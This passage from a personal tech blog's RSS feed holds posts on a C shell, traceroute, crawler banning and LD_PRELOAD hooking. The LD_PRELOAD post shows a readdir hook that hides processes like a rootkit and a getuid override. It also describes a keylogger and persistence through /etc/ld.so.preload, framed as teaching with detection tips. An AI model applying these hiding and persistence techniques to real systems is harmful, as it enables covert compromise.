<p>The previous engine (still up at <a href="https://legacy.douxx.blog">legacy.douxx.blog</a>) didn't start as one. It was a documentation site, originally built for <a href="https://github.com/url2app/docs">UrlToApp</a>, a now-archived project. At some point I repurposed it into a blog, restyled it to match my <a href="https://douxx.tech">main website</a>, and started bolting things on – RSS feeds, comments, categories, the works.</p>
<p>The problem is that's exactly what it was: bolted on. Every new feature was stacked on top of code that was never meant to support it – cover images, for example, weren't proper metadata. It just scraped the article for a <code>![hero](&lt;url&gt;)</code> tag. Not even an actual hero image. Eventually it got to the point where adding anything felt like defusing a bomb. Not fun.</p>
<p>So when the school project came up, the choice was obvious.</p>
<h2 id="what-changed-for-articles">What Changed for Articles</h2>
<p>A few things changed on the content side too. Some older articles just weren't worth keeping –
they were outdated, half-baked, or both – so I cut them rather than migrate them for the sake of it.</p>
<p>The ones that made it over also got a fix that was long needed: inline JavaScript already existed
in the old engine, but it was sluggish and held together with duct tape. It actually works properly now.</p>
<p>And if you followed an <a href="/?p=1-intro">old link</a> with <code>?p=something</code>, don't worry – those redirect automatically to the legacy site, so nothing's broken.</p>
<h2 id="end-note">End Note</h2>
<p>I tried to make this transition as smooth as possible, but a few things didn't survive the
architectural changes. Callout boxes – the little warning, tip, and note blocks with icons –
are gone, and so are your old preferences if you had any set. Not huge losses, but worth mentioning.</p>
<p>If you want to set things up again, <a href="/settings"><code>/settings</code></a> is where you'd go.</p>
<p><img src="https://images.dbo.one/0d46de22" alt="..." width="400"></img></p>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/8677eb64" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>Your Shell Is Just a Loop</title>
                <link>https://douxx.blog/your-shell-is-just-a-loop</link>
                <pubDate>Sun, 03 May 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/your-shell-is-just-a-loop</guid>
                                    <category>c</category>
                                    <category>shell</category>
                                    <category>linux</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/your-shell-is-just-a-loop">original post</a>.</em></p><p>Every developer uses a <a href="https://en.wikipedia.org/wiki/Shell_(computing)">shell</a> daily. Most people assume it's some complex, arcane piece of software. It's not. At its core, a shell is just a loop that reads a command, runs it, and waits for the next one. That's it.
So let's build one.</p>
<h2 id="a-prompt-that-reads-commands">A Prompt That Reads Commands</h2>
<p>Every shell starts the same way: show a prompt, wait for input, chop it into pieces. Let's build that first.</p>
<p>What we want to do is read a string from <code>stdin</code> (the terminal input), and then split it into multiple args.</p>
<pre><code class="language-c">int main() {
    char input[MAX_INPUT];
    char **args;

    while (1) {
        printf(&quot;\n^shell&gt; &quot;);
        fflush(stdout); // used to be sure that the stdout buffer is printed

        fgets(input, MAX_INPUT, stdin); // capture stdin

        args = parse(input); // parse input

        for (int i = 0; i &lt; MAX_ARGS; i++) {
            if (args[i] != NULL)
                printf(&quot;%s, &quot;, args[i]);
        }

        free(args);  // free the allocated memory for args
        fflush(stdout);
    }
}
</code></pre>
<p>We have our basic command reader, right now it only prints back the parsed args.</p>
<pre><code>^shell&gt; yo
yo, 
^shell&gt; hello world
hello, world, 
</code></pre>
<p>As for the <code>parse(input)</code>, it's also quite simple:</p>
<pre><code class="language-c">char **parse(char *line) {
    char **args = malloc(sizeof(char*) * MAX_ARGS); // allocate the array on the heap so it stays alive after the function returns
    int i = 0;

    char *token = strtok(line, &quot; \t\n&quot;);
    while (token != NULL &amp;&amp; i &lt; MAX_ARGS - 1) {
        args[i++] = token;
        token = strtok(NULL, &quot; \t\n&quot;);
    }

    args[i] = NULL;
    return args;
}
</code></pre>
<p><code>strtok</code> splits the string by spaces, tabs and newlines, and we store each chunk as a pointer in our args array. The final NULL is required for the next part.</p>
<h2 id="running-the-commands">Running The Commands</h2>
<p>Right now, we just print them, what we want to do is <em>run</em> them.</p>
<p>The first thing we'll do is edit the main loop: instead of printing the args, we'll call a new <code>execute(args)</code> function.</p>
<pre><code class="language-c">args = parse(input); // parse input

execute(args);
</code></pre>
<p>This function will actually do the work, and here it is:</p>
<pre><code class="language-c">void execute(char **args) {
    pid_t pid = fork();

    if (pid == 0) { // pid = 0, we're in the child
        char *resolved = find_in_path(args[0]);
        if (!resolved) {
            fprintf(stderr, &quot;^shell: command not found: %s\n&quot;, args[0]);
            exit(1);
        }

        // launches the program
        execve(resolved, args, environ);

    } else if (pid &gt; 0) {
        wait(NULL); // wait for the child to die
    } else {
        perror(&quot;fork&quot;); // something went wrong
    }
}
</code></pre>
<p>One of the two important parts is the <code>fork()</code> call. This one is directly a request to the <a href="https://en.wikipedia.org/wiki/Linux_kernel">Linux Kernel</a> telling it to duplicate the current process into a new one, with the exact same memory values, and current execution point.</p>
<p>The created process is a <em>child</em>, it inherits from the <em>parent</em> (our shell), and becomes orphan if its parent dies.</p>
<p><code>fork()</code> returns a process id (pid), if it is equal to 0, it means that we're the child. if it's a positive value, we're in the parent.</p>
<p>If we're the parent, it's easy, another syscall: <code>wait(NULL)</code>, and we're blocked until the child exits.</p>
<p>On the other hand, we got a bit more work if we're the child.</p>
<p>The first thing we need to do is find the program to execute, the <a href="https://gist.github.com/douxxtech/77169672f96cd8bd04565b90b730b862#file-shell-c-L40"><code>find_in_path()</code></a> function will do the job:</p>
<ul>
<li>It fetches the <code>PATH</code> environment variable, formatted like this: <code>/first/path:/second/path:/etc/bin</code></li>
<li>It'll then look in each one of the colon-separated directories for an executable with the same name as <code>args[0]</code> – the program name.</li>
</ul>
<p>Once it found the program (if it did), it runs one last syscall: <code>execve</code>.</p>
<p>This one is a bit special, since it completely replaces the current program, including its <a href="https://en.wikipedia.org/wiki/Stack_(abstract_data_type)">stack</a>, <a href="https://en.wikipedia.org/wiki/Heap_(data_structure)">heap</a>, <a href="https://en.wikipedia.org/wiki/Code_segment">code segments</a> and <a href="https://en.wikipedia.org/wiki/Data_segment">data segments</a> with the new program ones.</p>
<p>Once done, the child is no longer our shell process. Once it exits, so does the child process, and the shell can loop again.</p>
<pre><code>^shell&gt; ls
blog.md  main  main.c  pbp  pbp.c

^shell&gt; 
</code></pre>
<h2 id="builtins-and-why-we-cant-call-cd">Builtins, And Why We Can't Call <code>cd</code></h2>
<p>Another important piece of what constitutes a shell is builtins – commands that aren't executed, but used to directly talk to the shell application itself.</p>
<p>A good example to understand why we need them is the <code>cd</code> (change directory) command. It allows the user to navigate through its file system easily.</p>
<p>See, processes carry kernel-managed state beyond memory – like their current working directory (cwd).
As you probably guessed it, it indicates which directory the program is currently in.</p>
<blockquote>
<p>We can see the cwd of programs using <code>ls -l /proc/&lt;PID&gt;/cwd</code>
<img src="https://images.dbo.one/49351358" alt="cwd seeking in bash" /></p>
</blockquote>
<p>If <code>cd</code> was called like any other program, here is what would happen:</p>
<ul>
<li>The current process gets duplicated, the child and parent now have separate states</li>
<li>The <code>cd</code> process would be called, and change its own directory to the destination</li>
<li>The <code>cd</code> process would exit</li>
<li>We come back to our shell, but without its directory changed – the main program and its child don't share the same attributes</li>
</ul>
<p>Here is what builtins are for: executing actions on the current program.</p>
<p>Here's how I handle builtins in the main loop:</p>
<pre><code class="language-c">args = parse(input); // parse input

if (strcmp(args[0], &quot;exit&quot;) == 0) {
    free(args);
    break;
}

if (strcmp(args[0], &quot;cd&quot;) == 0) {
    if (args[1] == NULL)
        fprintf(stderr, &quot;myshell: cd: missing argument\n&quot;);

    else if (chdir(args[1]) == -1) // change dir syscall failed
        perror(&quot;myshell: cd&quot;);

    free(args);
    continue;
}

execute(args);
</code></pre>
<p>The <code>cd</code> builtin uses the <code>chdir</code> syscall to change its own cwd, and the <code>exit</code> one exits the loop, and therefore the program.</p>
<pre><code>^shell&gt; pwd
/home/local/c/shell

^shell&gt; cd ..

^shell&gt; pwd
/home/local/c

^shell&gt; exit

[local@DouLen] ~/c/shell › 
</code></pre>
<h2 id="the-command-prompt">The Command Prompt</h2>
<p>Currently, the command prompt is just <code>^shell&gt; </code>. It's not bad, but it could be better.</p>
<p>Let's improve it to:</p>
<ul>
<li>Show the current user</li>
<li>Show the machine hostname</li>
<li>Show the working directory</li>
</ul>
<p>To do this, I'll make a new function, <code>spawn_prompt()</code> that will handle it cleanly:</p>
<pre><code class="language-c">void spawn_prompt() {

    char *dir = get_curr_dir();
    char prompt = get_prompt_char();
    char *hostname = get_hostname();
    struct passwd *pw = getpwuid(getuid());

    printf(&quot;\n%s@%s %s %c &quot;, pw-&gt;pw_name, hostname, dir, prompt);

    free(dir);
    fflush(stdout);
}
</code></pre>
<p>I'll leave out the <code>get_*</code> functions for brevity, but you'll be able to find the full code in <a href="https://gist.github.com/douxxtech/77169672f96cd8bd04565b90b730b862">this gist</a> :)</p>
<p>After replacing the current implementation in <code>main()</code></p>
<pre><code class="language-c">while (1) {
    spawn_prompt();
</code></pre>
<p>We now have a nice prompt, let's escalate our privileges with <a href="https://copy.fail/">this new exploit</a> <em>(update your systems, folks!)</em>:</p>
<p><img src="https://images.dbo.one/e5f4758d" alt="new prompt" /></p>
<p>As you can see, it updates correctly the prompt, and when root, <a href="https://www.baeldung.com/linux/dollar-sign-vs-pound-prompts">the prompt character switches from <code>$</code> to <code>#</code></a>!</p>
<h2 id="surviving-ctrl-c">Surviving Ctrl-C</h2>
<p>Right now, if we <code>Ctrl-C</code> inside our shell, it simply exits:</p>
<pre><code>local@DouLen ~/c/shell $ ^C

[local@DouLen] ~/c/shell › 
</code></pre>
<p>That's a bit annoying, so let's fix it.</p>
<p>To do so, we need to setup signal handlers. Signals in Linux are a mechanism for communicating directly with a process, there are quite a few of them; the one that interests us is the <code>SIGINT</code> (signal interrupt), that pressing <code>Ctrl-C</code> sends.</p>
<p>The idea is simple: when we catch a signal, spawn a new clean prompt instead of exiting.</p>
<p>The implementation isn't complicated either:</p>
<pre><code class="language-c">int main() {
    signal(SIGINT, spawn_prompt); // call spawn_prompt on ^C

    char input[MAX_INPUT];
    char **args;

    while (1) {
</code></pre>
<p>Now, let's run <code>^C</code>:</p>
<pre><code>local@DouLen ~/c/shell $ ^C
local@DouLen ~/c/shell $ hello^C
local@DouLen ~/c/shell $ 
</code></pre>
<p>Nice, it works! However, let's run a program:</p>
<pre><code>local@DouLen ~/c/shell $ nasmserver
Started the NASMServer static files HTTP server.

16:01:25 [INFO] Listening on 0.0.0.0:8080
^C16:01:26 [INFO] Stopping... (signal received)

local@DouLen ~/c/shell $ 
local@DouLen ~/c/shell $ 
</code></pre>
<p>The double prompt happens because ^C doesn't just signal the child – it signals the entire foreground process group, meaning both the child and our shell receive the SIGINT at the same time. So <code>spawn_prompt()</code> fires in our shell while the child is still running. Then, once the child exits, the main loop iterates and calls <code>spawn_prompt()</code> again – giving us two prompts.</p>
<p>Easy fix – just check tell that we got a <code>SIGINT</code> to the loop, so it skips the prompt the next iteration:</p>
<pre><code class="language-c">void spawn_prompt(int sig) {
    if (sig == SIGINT)
        got_sigint = 1;
// [...]

while (1) {
    if (!got_sigint)
        spawn_prompt(0); // 0 = not a real signal, just drawing the prompt
    got_sigint = 0;
</code></pre>
<h2 id="whats-next">What's next?</h2>
<p>I'll probably keep hacking on this – pipes (<code>|</code>) and output redirection (<code>&gt;</code>) are the obvious next steps, and I'd love to add command history at some point. There's also a bunch of smaller things, like proper quote handling, or <code>$VAR</code> expansion, that would make it feel a lot more like a real shell.</p>
<p>It's been a fun little project honestly. Writing your own shell really makes you appreciate how much work goes into the ones we use every day – bash and zsh are doing a <em>lot</em> under the hood (especially since they also handle job control, complex signal management, scripting with control flow, and still manage to feel snappy and responsive).</p>
<p>Again, full source with <code>~</code> and <code>*</code> expansion is available on <a href="https://gist.github.com/douxxtech/77169672f96cd8bd04565b90b730b862">this gist</a>, if you're interested in it :^D</p>
<p><img src="https://images.dbo.one/7cccbd22" alt="end meme" /></p>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/7d07cd0b" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>How To &quot;Gaslight&quot; A Binary</title>
                <link>https://douxx.blog/how-to-gaslight-a-binary</link>
                <pubDate>Wed, 29 Apr 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/how-to-gaslight-a-binary</guid>
                                    <category>exploit</category>
                                    <category>linux</category>
                                    <category>kernel</category>
                                    <category>c</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/how-to-gaslight-a-binary">original post</a>.</em></p><p>Here is a very simple C code:</p>
<pre><code class="language-c">int main() {
    uid_t uid = getuid();
    struct passwd *pw = getpwuid(uid);
    printf(&quot;uid: %d, user: %s\n&quot;, uid, pw-&gt;pw_name);
    return 0;
}
</code></pre>
<p>It simply prints your identity in the current session. Let's run it:</p>
<pre><code class="language-bash">[local@DouLen] ~ › ./whoami
uid: 0, user: root
</code></pre>
<p>The program says I'm root, but look at the prompt: I'm logged in as <code>local</code>. There isn't any <a href="https://en.wikipedia.org/wiki/Privilege_escalation">privilege escalation</a> in the code, and the program isn't run with <a href="https://en.wikipedia.org/wiki/Sudo">sudo</a> or similar.</p>
<p>But if so, why is the program telling me that it is running as root? Well, it just got lied to. It genuinely thinks that it is root, and it is because it blindly trusts <a href="https://man7.org/linux/man-pages/man2/geteuid.2.html"><code>getuid</code></a> function from libc, which we've overridden.</p>
<p>See, I lied to you. I didn't &quot;just&quot; run <code>./whoami</code>. Before this, I ran this:</p>
<pre><code class="language-bash">export LD_PRELOAD=./fake_uid.so
</code></pre>
<p>And that's it: a single environment variable just compromised my program. What it actually does, is tell the dynamic linker: &quot;before the program runs, load this library&quot;.</p>
<p>You probably already guessed what this library does, but here is its code:</p>
<pre><code class="language-bash">int getuid() { return 0; }
</code></pre>
<p>It overrides <code>getuid</code> to always return zero (=root). This is how you gaslight a binary.<br />
And obviously, it's the least dangerous thing that a malicious library could do.</p>
<h2 id="why-this-works">Why This Works</h2>
<p>At a high level, this works because of how dynamically linked programs are executed on Linux.</p>
<p>Most binaries don't contain all the code they need. Instead, they rely on shared libraries (like libc), which are loaded at runtime by the dynamic linker (usually <code>ld-linux.so</code>).</p>
<p>When a program calls a function like <code>getuid</code>, it doesn't jump directly to a fixed address. Instead, the dynamic linker resolves that symbol at runtime and decides which implementation to use.</p>
<p><code>LD_PRELOAD</code> takes advantage of this mechanism by injecting a library <em>before</em> all others. This means:</p>
<ul>
<li>If your library defines a function (e.g., <code>getuid</code>)</li>
<li>That definition is used <em>instead</em> of the one in libc</li>
</ul>
<p>In other words, you're not modifying the program itself, you're <strong>changing what its function calls resolve to at runtime</strong>.</p>
<p>This technique is often referred to as <a href="https://www.geeksforgeeks.org/cpp/function-interposition-in-c-with-an-example-of-user-defined-malloc/">function interposition</a>.</p>
<p>Another example, commonly used in <a href="https://en.wikipedia.org/wiki/Rootkit">rootkits</a>, is hiding a process.</p>
<p>Here is <code>evil.c</code>, an extremely evil code:</p>
<pre><code class="language-c">int main() {
    while (1) {
        printf(&quot;Haha I'm so evil &gt;:)\n&quot;);
        sleep(5);
    }

    return 0;
}
</code></pre>
<p>It just loops and prints forever, nothing special.</p>
<p>And now, let's switch to a sysadmin that wants to search for an <code>evil</code> process:</p>
<pre><code class="language-bash">[admin@DouLen] ~ › ps a | grep evil
   7050 pts/2    S+     0:00 ./evil
</code></pre>
<p>And they immediately find it. Now, let's hide it a bit more.</p>
<p>See, processes in Linux are listed in <a href="https://medium.com/@kisanthr22/mastering-proc-a-practical-guide-to-linux-process-and-system-monitoring-b5a24c1734e4"><code>/proc</code></a> along other information. To list those processes, most programs enumerate <code>/proc</code> by reading directory entries (similar to <code>ls /proc</code>).</p>
<p>So all we have to do is overwrite <code>readdir</code>, trickier than it sounds, because we still need the real readdir to work underneath us.</p>
<pre><code class="language-c">struct dirent *readdir(DIR *dirp) {
    static struct dirent *(*real_readdir)(DIR *) = NULL;

    real_readdir = dlsym(RTLD_NEXT, &quot;readdir&quot;); // get the *real* readdir, since we need to use it

    struct dirent *entry;
    while ((entry = real_readdir(dirp)) != NULL) { // probe each entry of the real readdir call
        if (is_pid(entry-&gt;d_name)) {
            if (matches_target(entry-&gt;d_name)) {   // if it is our target process, skip it
                continue; // hide this process
            }
        }

        return entry;
    }

    return NULL;
}
</code></pre>
<p><em>(This part only is the &quot;main&quot; logic, full codes can be found <a href="https://github.com/douxxtech/ld-preload-interceptors">here</a>.)</em></p>
<p>Now, let's use <code>ps</code> again, with the library attached, this time.</p>
<pre><code class="language-bash">[admin@DouLen] ~ › LD_PRELOAD=./ps_hide.so ps a | grep evil
   7214 pts/0    S+     0:00 grep --color=auto evil
</code></pre>
<p>And just like that, even if our evil program is still running, it isn't listed anymore. This is the way most rootkits operate to hide themselves (well, they use way more intensive techniques, but you got it).</p>
<details>
    <summary>Other program monitoring tools demo</summary>
<blockquote>
<p><a href="https://github.com/aristocratos/btop">btop</a>
<img src="https://images.dbo.one/ed12dbb4" alt="btop" /></p>
</blockquote>
<blockquote>
<p><a href="https://en.wikipedia.org/wiki/Top_(software)">top</a> (filter <code>COMMAND=evil</code>)
<img src="https://images.dbo.one/6f5ea1db" alt="top" /></p>
</blockquote>
</details>
<br>
<p>Obviously, this is some light work. Actual malware does <em>way</em> more than this. A good example would be this simple library, that purely keylogs everything inputted into stdin:</p>
<p><img src="https://images.dbo.one/eacf1017" alt="keylog lib gif" /></p>
<p>It works the same way: hook <code>fgets</code> from libc, and everything typed into the program flows through your code first.</p>
<h2 id="variables-are-impractical">Variables Are Impractical</h2>
<p>Let's be real, ain't no user will voluntarily prepend <code>LD_PRELOAD=./safe_lib.so</code> to all of their commands.</p>
<p>However, there are obviously other ways.</p>
<h3 id="1-hooking-new-shells">1. Hooking New Shells</h3>
<p><code>/etc/profile.d/</code> contains scripts that are automatically loaded on terminal init, so an attacker could create a legitimate-looking file, like <code>/etc/profile.d/who.sh</code> with <code>export LD_PRELOAD=/usr/local/lib/systemd-compat.so</code> as a content, and every new shell created from there will preload systemd-compat.so, thus it being the malicious script.</p>
<p>This is a nice way, but not the most reliable one, since it only works for interactive shells.</p>
<h3 id="2-system-wide-persistence">2. System-Wide Persistence</h3>
<p><code>/etc/ld.so.preload</code> is literally the file meant to do that. Every entry in it is preloaded by the dynamic linker for all dynamically linked binaries.</p>
<p>So the attacker could simply append <code>/usr/local/lib/systemd-compat.so</code> to it, and the whole system would be compromised, even programs not being launched from an interactive shell.</p>
<h2 id="detecting-malicious-libraries">Detecting Malicious Libraries</h2>
<h3 id="the-obvious-check">The Obvious Check</h3>
<p>The first thing to do is check both persistence mechanisms directly:</p>
<pre><code class="language-bash">cat /etc/ld.so.preload
ls /etc/profile.d/
</code></pre>
<p>Anything unexpected in either of those is a red flag. Look for files with innocent-sounding names like <code>systemd-compat.so</code>, <code>libgcc-utils.so</code>, anything trying to blend in. If you aren't sure about something, the internet is your best friend here.</p>
<h3 id="strace">strace</h3>
<p><code>strace</code> operates at the syscall level, below libc entirely, so LD_PRELOAD can't hide things from it. You can use it to see what a program is <em>actually</em> doing regardless of what any hooked library tells you:</p>
<pre><code class="language-bash">strace -e openat ps
</code></pre>
<p>If <code>ps</code> is opening files it shouldn't, or skipping <code>/proc</code> entries, you'll see it here.</p>
<p>Another approach: <code>LD_PRELOAD</code> doesn't disappear once a process starts, it stays visible in <code>/proc/&lt;pid&gt;/environ</code>. So even if a hooked <code>ps</code> hides the process, the preload trail is still sitting in procfs, readable by anything that looks directly at <code>/proc</code> instead of going through libc.</p>
<h2 id="static-binaries">Static Binaries</h2>
<p>The best solution is to use a statically compiled binary, which doesn't use the dynamic linker at all, so preloaded libraries are completely ignored. This is why forensic tools are often distributed as static binaries: on a compromised system, <strong>they're the only tools you can actually trust</strong>.</p>
<p>You can check if a binary is static with:</p>
<pre><code class="language-bash">ldd $(which ps)
# if it says &quot;not a dynamic executable&quot;, LD_PRELOAD won't touch it
</code></pre>
<p>At the end of the day, nothing here is &quot;breaking&quot; Linux so much as bending trust. The program still believes it is calling libc. The system still believes it is listing processes. It’s only the answers that change. And that’s the uncomfortable part: in <a href="https://en.wikipedia.org/wiki/User_space_and_kernel_space">userspace</a>, reality can be altered.</p>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/a56393d3" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>23 Strangers Standing Between You and This Article</title>
                <link>https://douxx.blog/23-strangers-standing-between-you-and-this-article</link>
                <pubDate>Fri, 24 Apr 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/23-strangers-standing-between-you-and-this-article</guid>
                                    <category>tech</category>
                                    <category>tutorial</category>
                                    <category>linux</category>
                                    <category>c</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/23-strangers-standing-between-you-and-this-article">original post</a>.</em></p><p>You clicked this link. Quite simple, right? But before these words appeared in your browser, they went on a little journey, hopping through routers, data centers, and cables you'll never see, operated by people you'll never meet.</p>
<p>And you know what? You can see <em>every</em> one of those stops, and even trace the full path from your machine all the way to mine, or any server, really.</p>
<p>The tool that lets you observe your route through the constellation of routers called <em>the internet</em> is <code>traceroute</code> (or <code>tracert</code> on Windows, I guess they wanted to be original).</p>
<p>Let's run a traceroute:</p>
<pre><code>› tracert 152.53.236.228

Tracing route to theserver.life [152.53.236.228]
over a maximum of 30 hops:

  1     3 ms     1 ms     1 ms  192.168.1.1
  2    20 ms    18 ms    11 ms  77-56-216-1.dclient.hispeed.ch [77.56.216.1]
  3    15 ms    14 ms    13 ms  217-168-61-145.static.cablecom.ch [217.168.61.145]
  4    48 ms    41 ms    27 ms  carbsm101-be-2.aorta.net [84.116.211.21]
  5    15 ms    15 ms    13 ms  ch-otf01b-rc2-ae-54-0.aorta.net [84.116.202.225]
  6    25 ms    13 ms    18 ms  zur01lsr01.ae1.bb.sunrise.net [212.161.150.164]
  7     *        *        *     Request timed out.
  8    39 ms    54 ms    14 ms  213.46.171.182
  9    23 ms    20 ms    20 ms  ae2-2015.nbg60.core-backbone.com [80.255.15.250]
 10    23 ms    22 ms    24 ms  ae12-500.nbg40.core-backbone.com [80.255.9.21]
 11    36 ms    24 ms    45 ms  theserver.life [152.53.236.228]

Trace complete.
</code></pre>
<p><em>Looks like gibberish, right?</em></p>
<p>But actually, it's easy to decipher. Let's analyze our data's journey:</p>
<p>Each line is a stop. Let's walk through the journey.</p>
<ul>
<li>
<p>The first one, <code>192.168.1.1</code>, is my own router, still in my living room. <em>The first stranger is actually myself.</em></p>
</li>
<li>
<p>Hops <code>2</code> and <code>3</code> are my <a href="https://en.wikipedia.org/wiki/Internet_service_provider">ISP</a>: the entrance to the highway. You can even see it in the hostnames: <code>cablecom.ch</code>, a Swiss internet provider, handing my data off to the wider world.</p>
</li>
<li>
<p>Hops <code>4</code> through <code>6</code> are that highway. <code>aorta.net</code>, <code>sunrise.net</code> are transit backbones you've probably never heard of, but your data uses constantly, every single day.</p>
</li>
<li>
<p>Hop <code>7</code> is a ghost. Three <code>*</code> instead of a response. Looks like someone doesn't want to be seen. We'll come back to that.</p>
</li>
<li>
<p>Hop <code>8</code> is another silent one, no hostname, just a raw IP. Not hiding, but not introducing itself either.</p>
</li>
<li>
<p>And then <code>9</code> and <code>10</code> are another backbone, <code>core-backbone.com</code>, and if you squint at the hostname you can see <code>nbg</code>: Nuremberg, Germany.<br />
My data just crossed a border.</p>
</li>
<li>
<p><code>11</code> is home, well, <em>my</em> home. The server.</p>
</li>
</ul>
<p>Your output will look different: different ISP, different city, maybe even different countries in between. But the story is the same: <em>a chain of strangers, passing your data along</em>.</p>
<p>So in 11 hops, my request crossed my living room, my ISP, some of the thousand of internet backbones, crossed Germany, and landed on my server. All this in about 40 milliseconds.</p>
<p>But <em>how</em> does traceroute even know all this? Well, it shouldn't. It's exploiting a small feature built into every router on the internet, originally designed to prevent flooding the network.</p>
<h2 id="internets-structure">Internet's Structure</h2>
<p>The internet works a lot like the postal system. When you send a letter abroad, your local postman doesn't know the way to Germany, he just drops it at the sorting center. The sorting center sends it to the national hub. The national hub hands it to an international carrier. Nobody has the full map. Everyone just knows their next step.</p>
<p>Your request leaves your home, climbs through your ISP, then through bigger and bigger backbone networks, like <code>aorta.net</code> or <code>core-backbone.com</code> from our traceroute, until it reaches the destination network, and works its way down to the target server. Each of those networks is owned by a different company, and they all just agreed to hand traffic to each other.</p>
<p>All of this is coordinated by <a href="https://en.wikipedia.org/wiki/Border_Gateway_Protocol">Border Gateway Protocol</a>, a fascinating rabbit hole for another day. <em>(Finish this article first.)</em></p>
<h2 id="how-traceroute-exploits-this-network">How Traceroute Exploits This Network</h2>
<p>What traceroute actually does is map every step your packet takes through the internet, and it does it by exploiting a feature that was never meant for this.</p>
<p>To do that, it diverts the original purpose of <code>TTL</code> (Time To Live): as defined in the first IP spec (<a href="https://www.rfc-editor.org/rfc/rfc791.html">RFC 791</a>), its intent was to &quot;kill stale packets before they clog the network forever&quot;.</p>
<p>Every IP packet has a <code>TTL</code> field that gets decremented each time it crosses a new router (transit point). When it reaches 0, the packet gets destroyed and the router that killed it warns the sender about it.</p>
<p>You might already see the trick coming: by setting the <code>TTL</code> to 1, we can get the first router to drop the packet, and tell us it did. That gives us the first router's IP. Then we just repeat, incrementing the TTL each time to peel back one more hop.</p>
<p>We keep going until the destination itself replies with either <code>ICMP_ECHOREPLY</code> or <code>ICMP_DEST_UNREACH</code> depending on the implementation, and that's our signal to stop.</p>
<p>Here's the core loop in C, if you're curious:</p>
<pre><code class="language-c">for (int ttl = 1; ttl &lt;= MAX_HOPS; ttl++)
    {
        // Set the TTL to the current iter ttl
        setsockopt(send_sock, IPPROTO_IP, IP_TTL, &amp;ttl, sizeof(ttl));

        char buf[BUF_SIZE];
        struct sockaddr_in from;
        socklen_t from_len = sizeof(from);

        // Ping the target router 3 times to get the 3 delays
        for (int i = 0; i &lt; PROBE_COUNT; i++)
            ms[i] = ping(send_sock, recv_sock, buf, &amp;dest, &amp;from, &amp;from_len);

        /* print stats
           Skipped it for this example
        */

        if (icmp_hdr-&gt;type == ICMP_ECHOREPLY &amp;&amp; from.sin_addr.s_addr == dest.sin_addr.s_addr)
            break;
    }
</code></pre>
<p>The full C code can be found on <a href="https://gist.github.com/douxxtech/3a1ffdf1acf6b3c1dcf81aad55a4bfe6">this gist</a>.</p>
<h2 id="the-ghosts-and-other-lies">The Ghosts, and Other Lies</h2>
<p>Remember hop <code>7</code>, the one that went silent? And hop <code>8</code>, the no-name one?</p>
<p>They're not broken, they just don't want to be seen.</p>
<p>Some routers are configured to drop ICMP packets (the ones <code>traceroute</code> uses to probe the network). They still forward the traffic just fine, but they don't want to play traceroute's little <em>spy game</em>. Others, like hop <code>8</code>, simply don't have a <a href="https://en.wikipedia.org/wiki/Reverse_DNS_lookup">reverse DNS</a> record.</p>
<p>And it gets worse. The route we just saw? It might not exist anymore. Run two traceroutes with a one-hour difference and you might see completely different routes, maybe even different countries. The internet reroutes itself constantly, reacting to <a href="https://en.wikipedia.org/wiki/Metrics_(networking)">routing metrics</a>, failures, and countless other factors. There's no fixed path, but at least there will always be a path.</p>
<p>Even the timings can lie. See how hop <code>4</code> shows <code>48 ms</code> while hop <code>9</code> shows only <code>23 ms</code>? A further hop that is faster than a closer one?! That's because routers prioritize &quot;real&quot; traffic over responding to ICMP probes. The latency numbers tell you something, but never <em>everything</em>.</p>
<p>Remember that traceroute is a window into the internet, but not a clear one.</p>
<div id="traceroute-thing"></div>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/b21e66ec" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>An Attempt to Ban Bad Bots Crawling My Sites</title>
                <link>https://douxx.blog/an-attempt-to-ban-bad-bots-crawling-my-sites</link>
                <pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/an-attempt-to-ban-bad-bots-crawling-my-sites</guid>
                                    <category>bots</category>
                                    <category>internet</category>
                                    <category>web</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/an-attempt-to-ban-bad-bots-crawling-my-sites">original post</a>.</em></p><p>I don't really like <strong>bad bots</strong>, and by that I mean crawlers that don't care about <a href="https://www.robotstxt.org/">robots.txt</a>. The reason is simple: I don't want my data fed into obscure systems, and also just by principle, <em>if we give you rules, follow them</em>.</p>
<p>Credit where it's due: the idea came from <a href="https://caolan.uk/">Caolan's website</a>.</p>
<p>The idea is simple: make the bad bots click a link they aren't supposed to, then ban them. To do that, I added a <code>robots.txt</code> at the root of my site, explicitly disallowing robots from a specific page (I went with <code>/roboty/</code>, because why not):</p>
<pre><code>User-agent: *
Disallow: /roboty/
</code></pre>
<p>Then I slipped a link to that page somewhere on the root page.</p>
<p><img src="https://images.dbo.one/f2419bf9" alt="link" /></p>
<p>Since I don't want curious humans getting instantly banned, the page itself just explains what's going on and links to <code>article.php</code>, the actual dangerous script. I named it like that to bypass possible keyword blacklists like <code>ban</code> or <code>ban-ip</code>. <code>¯\_(ツ)_/¯</code></p>
<p>Talking about the script, here it is:</p>
<pre><code class="language-php">&lt;?php

$cf_api_token = '...';
$zone_id = '...';
$note = 'Auto banned by dtech/roboty at ' . date(&quot;H:i d/m/y&quot;);
$ip = $_SERVER['REMOTE_ADDR'];

$payload = json_encode([
    'mode' =&gt; 'block',
    'configuration' =&gt; [
        'target' =&gt; 'ip',
        'value' =&gt; $ip,
    ],
    'notes' =&gt; $note,
]);

$ch = curl_init(&quot;https://api.cloudflare.com/client/v4/zones/{$zone_id}/firewall/access_rules/rules&quot;);
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER =&gt; true,
    CURLOPT_POST           =&gt; true,
    CURLOPT_POSTFIELDS     =&gt; $payload,
    CURLOPT_IPRESOLVE      =&gt; CURL_IPRESOLVE_V4,
